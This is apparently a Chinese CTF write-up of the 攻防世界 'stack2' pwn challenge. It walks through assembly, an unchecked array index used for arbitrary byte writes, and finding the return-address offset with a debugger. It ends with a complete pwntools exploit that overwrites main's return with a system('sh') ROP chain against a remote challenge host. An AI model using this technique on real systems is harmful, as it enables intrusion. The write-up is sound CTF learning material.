首页 > 其他分享 >攻防世界_PWN_stack2

攻防世界_PWN_stack2

时间:2023-06-01 10:12:24浏览次数:30  
标签:攻防 mov eax 地址 ebp 内存 io PWN stack2

本文通过结合其他师傅的思路以及自己的一些理解完成。希望在记录自己所学知识的同时能够帮助有同样疑惑的人。pwn入门新手一个,如果有说错的地方请师傅们多多包涵

0x00 前置知识

本题关键汇编指令:mov指令和lea指令以及ret指令

mov

mov指令的功能是传送数据,它可以把一个操作数的值复制到另一个操作数中。例如:

  • mov eax, [ebp-18h],作用是将ebp-18h作为偏移地址,寻址找到内存单元,将该内存单元中的数据送至eax,类似于C语言中的eax=*(ebp-18h)

  • mov [ebp-1ch],eax,作用是将eax中的数据送至ebp-1ch作为偏移地址所指向的内存单元 。类似于C语言中的*(ebp-1ch)=eax

lea

lea指令的功能是计算有效地址,它可以把一个内存地址的值存入一个寄存器中。例如:

  • lea eax, [ebp-18h],作用是将ebp-18h作为一个地址(而不是一个值),存入eax寄存器中。类似于C语言中的eax=ebp-18h
  • lea [ebp-1ch],eax,作用是将eax寄存器中的值(假设为12345678h)存入ebp-1ch作为偏移地址所指向的内存单元。类似于C语言中的*(ebp-1ch)=*eax。(这个用法和本题没啥关系,只是提一嘴)

ret

这个应该都很熟悉了。ret指令的功能是从子程序返回,它可以把栈顶的值弹出并作为返回地址,跳转到调用子程序的地方。

0x01 漏洞代码

在选择change number后程序未对输入的数字进行审查,导致可以直接修改超出数字范围的内存数据,这样我们只要知道内存某个地方相对于数组的偏移,就能修改那个地方的内容

image-20230530225742821

后门函数,经过师傅们的测试发现这个函数在远程运行时会提示没有bash,但是利用system函数和字符串sh执行system("sh")同样能达到我们的目的

image-20230530225955015

0x02 解题思路及步骤

既然可以直接修改任意内存的数据,那么直接将main函数的返回地址修改为调用system("sh")的ROP链,然后在菜单中选择5.exit退出main函数,就可以将执行流转到system("sh")了。

2.1 求偏移量

想要修改内存数据,首先要知道偏移量

在ida中可以看出来数组相对于ebp的偏移量是70h,那返回地址相对于数组的偏移量就是74h

image-20230531092715245

那就错了!!!,并不是所有函数的ebp都挨着返回地址,有时候会做一些调整。所以我们就需要知道main函数的返回的地址以及数组在内存中位置。这时候接下来我们就来通过动态分析求这两个值。

2.1.1确定数组在内存中的位置:

我们知道,这个数组是存在内存当中的,当我们向数组中存入第一个数字时,数字所在的位置就是数组首地址的位置(即&arr[0]==arr)。现在来读一下我们输入的第一个数字存入数组时的汇编代码[1]:

image-20230531095031982

mov eax, [ebp-88h]表示将ebp-88h处的内存值,也就是我们输入的值,假设为1h,传送到eax寄存器中,此时eax=1h

mov ecx, eax表示将eax寄存器中的值(1h)传送到ecx寄存器中,此时ecx=1h

lea edx, [ebp-70h]表示将ebp-70h作为一个地址传送到edx寄存器中,此时假设ebp=00100000h,则edx=000FF890h即数组基地址

mov eax, [ebp-7Ch]表示将ebp-7Ch处的内存值,也就是记录循环次数的i,第一次循环i为0,传送到eax寄存器中,此时eax=0

add eax, edx表示将edx寄存器中的值(000FF890h)加到eax寄存器中的值(0),这一步相当于找到arr[0]的位置,此时eax=000FF890h

mov [eax], cl表示将ecx寄存器中的最低8位(即cl,值为01h)传送到内存地址为eax=000FF890h的单元中

在执行完这段代码后我们可以知道两件事:eax存放的值就是数组的地址地址的最低八位的值就是我们输入的值

在执行add eax,edx后eax的值:

image-20230531105623057

执行mov [eax],cl之前0xffffcf88的值:0xf7fc17c0

image-20230531110504615

执行mov [eax],cl之前0xffffcf88的值:0xf7fc1701

image-20230531110531338

由此可以确定,0xffffcf88就是数组在内存中的位置

2.1.2 确定main函数的返回地址

这个就简单的多了,当我们执行到ret指令的时候,esp指向的地方就是main函数的返回地址

image-20230531115307152

在程序最后打断点,查看esp的值:

image-20230531115424557

esp此时的值是0xffffd00c,也就是main函数的返回地址

至此,我们就求出了偏移量0xffffd00c-0xffffcf88=0x84

2.2 构造ROP链

首先找到system函数和sh的地址,分别是0x080484500x08048987

image-20230531144456614

image-20230531144301581

在常规栈溢出中,我们的payload构成应该是

offset + system_addr + 0xdeadbeef + sh_addr

但是在这题中我们能直接修改内存内容,因此只要把system_addr和sh_addr填到栈上的相应位置即可。注意:由于每次我们只能修改1字节,所以要分成多次将ROP链的内容填到栈上

image-20230531125243496

0x03 完整exp

菜鸡仿照别的师傅写的

from pwn import *
#io = process("./stack2")
io = remote("61.147.171.105",55215)
context(log_level='debug')

def change (index,number):
    io.recvuntil("exit\n")
    io.sendline(str(3))
    io.recvuntil(b"which number to change:\n")
    io.sendline(str(index))
    io.recvuntil("new number:\n")
    io.sendline(str(number))

io.recvuntil("How many numbers you have:\n")
io.sendline(str(1))
io.recvuntil("Give me your numbers\n")
io.sendline(str(1))

change(0x84,0x50)
change(0x85,0x84)
change(0x86,0x04)
change(0x87,0x08)

change(0x8c,0x87)
change(0x8d,0x89)
change(0x8e,0x04)
change(0x8f,0x08)

io.recvuntil(b"exit\n")
io.sendline(str(5))
io.interactive()

小声bb:在使用recvuntil接收字符串的时候最好确认一下字符串有没有打错,不然就会exp运行时会卡住。没错我就是那个笨比


  1. ebp+var_x的意思是ebp偏移为x的位置,在ida中选中var_x再按下H就可以将其转化为ebp-xh的形式 ↩︎

标签:攻防,mov,eax,地址,ebp,内存,io,PWN,stack2
From: https://www.cnblogs.com/Yui1127/p/17448052.html

相关文章

  • pwn1_sctf_2016
    先检查一下开了什么保护机制打开32位ida看看这个是啥鸭,像这种c++的代码最难看了,只能一个函数一个函数的百度我在这边简述一下,这些函数一大串就是实现了把s数组中的I整体替换成了you,其他的就没了,然后我们先去找找有没有后门函数之类的找到了一个叫做get_flag的函数,打开一看......
  • 【攻防世界逆向】【高手题】《crackme》《debug》《ReverseMe-120》
    题目crackme解法第一次做这样的题,可以说是奇难了。1.手动脱壳,这道题是nspack,没见过这个壳,去找别的师傅学习了一下,https://blog.csdn.net/xiao__1bai/article/details/120230397讲的非常详细了,但我还是想用我的语言把我的理解再复述一遍。nspack,北斗壳,也是一种压缩壳加密壳。用......
  • buuctf ciscn_2019_n_5 pwn ret2shellcode
    首先checksec查看保护策略,没有开栈不可执行NX,考虑构造shellcodeArch:amd64-64-littleRELRO:PartialRELROStack:NocanaryfoundNX:NXdisabledPIE:NoPIE(0x400000)RWX:HasRWXsegments查看反编译代码,可以看......
  • 渗透测试-struts2攻防环境搭建拿shell
    一、下载Jspstudy打开目录D:\JspStudy\tomcat\webapps二、打开struts2并进行拿shell1.打开struts2在浏览器中输入网址http://localhost:8080/struts2-showcase/showcase.action点击上面的Configuration,点击ActionChaining点击上面的Configuration,点击ActionChaining点击......
  • 【攻防世界逆向】【高手题】《babyre》
    题目babyre解法这道题搞得我是晕头转向,主要的不是因为他的算法,原理,逆向过程有多复杂。主要在于工具,工具!下了好几个idapro都没有或者用不了python,所以在进行脚本的时候完全用不了。于是我转头使用别的办法,想要动态调试,但不知道这ida又出了什么毛病,动态调试也用不了。后面经过......
  • 从0到1:CTFer成长之路-PWN篇
    72217_格式化字符串不在栈上的利用方式格式化字符串不在栈上的利用方式,参数在.bss段,不在栈上条件:需要多次可输入参数voidvuln(){while(strcmp(chr,"bye")){gets(chr);printf(chr);}}在栈上找到一个利用链a->b->c,另一个指针p->0x4005d0,......
  • kernel pwn 从 0.5 到 0
    xman2020-level1注册了一个baby驱动,在sub_0中存在栈溢出,可以将0x100的用户数据copy到内核栈上,缓冲去到rbp距离为0x80。什么保护没开直接ret2user......
  • pwn刷题笔记
    jarvisoj_level2(ret2text)checksec检查保护机制,开启了NX。vulnerable_function函数处存在栈溢出漏洞:buf只能存放0x88个字节,但可以读入0x100个字节。system函数plt地址:0x8048320ida查看字串,“/bin/sh”地址:0x804A024构造payload#!/usr/bin/envpython3frompwnimport*io......
  • pwntools
    PwntoolsCheatsheet(github上薅的)(方便自己查找)ProgramInteractionEnvironmentandContextsLoggingandOutputEncoding,PackingandUtilityAssemblyandShellcraftELFs,StringsandSymbolsReturnOrientedProgrammingSROPandSigreturnFramesFormatStringEx......
  • python安全攻防学习笔记一 语言基础篇
    1.列表python中创建一个列表,只要把逗号分隔的不同的数据项使用方括号括起来即可。如:l1=["你好",0,1,2,3,4,5,6,7,8,9,0]l2=["嘟嘟嘟嘟嘟","雪球来了"]列表中的数据可以进行增删改查,方法有:dell1[1]#删除指定的数据l1.append("我不好")#在末尾添加数据......